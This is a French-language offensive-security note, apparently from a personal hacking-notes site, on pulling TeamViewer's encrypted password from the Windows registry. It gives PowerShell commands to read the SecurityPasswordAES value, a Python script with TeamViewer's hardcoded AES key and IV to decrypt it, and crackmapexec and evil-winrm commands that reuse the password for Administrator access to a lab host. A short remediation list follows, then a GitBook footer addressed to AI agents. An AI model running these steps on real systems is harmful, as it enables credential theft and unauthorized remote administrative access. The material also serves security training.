> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# Mot de passe dans le registre TeamViewer

Certaines versions plus anciennes de TeamViewer stockent un mot de passe chiffré dans le registre Windows. L'objectif est d'identifier la version, de récupérer la valeur AES, de la déchiffrer et de vérifier si l'identifiant peut être réutilisé.

## Identifier le processus

```powershell
tasklist /svc
```

<figure><img src="/files/d33b2145db0fb90272c7fb8514c4d4bb53db7c48" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## Localiser la clé de registre

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/d208d66abea0e4835a25340735bfc23dbf89420c" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## Déchiffrer la valeur

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/1dab109d0d2c6441f7eb6a4bcf483a5d044aff44" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## Valider l'accès

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/77ff58af4e5112d786e3aa3029a69a891197a98a" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/857a18efd7169aa942472c0b090f957828341d0d" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## Points clés

* Identifier la version exacte de TeamViewer avant d'appliquer une méthode de déchiffrement connue.
* Vérifiez le registre pour y trouver les secrets persistants des applications tierces.
* Corrigez en mettant à jour TeamViewer et en évitant les mots de passe réutilisables pour l'accès sans surveillance.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
